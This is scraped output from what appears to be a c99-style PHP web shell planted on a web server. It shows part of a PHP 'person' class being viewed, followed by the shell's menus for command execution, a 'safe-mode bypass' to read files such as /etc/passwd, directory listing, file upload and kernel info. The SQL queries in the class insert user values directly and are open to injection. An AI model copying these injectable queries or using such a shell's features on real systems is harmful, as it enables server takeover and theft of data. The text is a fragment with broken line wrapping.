is->SetQuery("select * f
rom Person where deptId=
 '$xKey' and fStatus=1 a
nd fRetire=0 order by pe
rsonId asc")){    retur
n 1;   }else {   return
 0;   }  }  function Sea
rchByDeptIdadminId($xKey
){   if ($this->SetQuery
("select * from Person w
here deptId= '$xKey' and
 fStatus=1 and fRetire=0
 order by adminId asc , 
hireId asc")){    retur
n 1;   }else {   return
 0;   }  }  function Cou
ntPersonDeptWorkGroup($x
Key,$yKey){   $this->Set
Query("select count(pers
onId) as num from Person
 where deptId='$xKey' an
d fStatus=1 and fRetire=
0 and workGpId = '$yKey'
");   if ($result=$this-
>GetResult()) {   retur
n $result['num'];   }  }
  function SearchByName(
$xKey){   if ($this->Set
Query("select * from Per
son where (fName like '%
$xKey%' or lName like '%
$xKey%') order by person
Id asc")){    return 1;
   }else {   return 0; 
  }  }  function Searchf
NamelName($xKey,$yKey){ 
  if ($this->SetQuery("s
elect * from Person wher
e (fName ='$xKey' and lN
ame = '$yKey') order by 
personId asc")){    ret
urn 1;   }else {   retu
rn 0;   }  }  function R
SPersonf1dept($xKey){  
//      $this->dpSet = f
alse;   $this->SetQuery(
"select * from Person wh
ere fStatus = 1 and fRet
ire=0 and deptId='$xKey'
 order by personId asc")
;  }    function RSPerso
nf1(){   $this->SetQuery
("select * from Person w
here fStatus = 1 order b
y personId asc");  }  fu
nction RSPersonf1PE($xKe
y){   $this->SetQuery("s
elect * from $xKey.Perso
n where fStatus = 1 orde
r by personId asc");  } 
 function SearchByDeptId
2($xKey){  //echo "selec
t personId, lName,fName,
prefixId, deptId from Pe
rson where deptId='$xKey
' and fRetire=0 order by
 personId asc<br>";   if
 ($this->SetQuery("selec
t personId, lName,fName,
prefixId, deptId from Pe
rson where deptId='$xKey
' and fRetire=0 order by
 personId asc")){    re
turn 1;   }else {   ret
urn 0;   }  }  } //--End
 class person--    ?>

HEXDUMP: [Full] [Preview]
Base64:
[Encode [+chunk [+chunk+quotes [Decode


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0282 ]--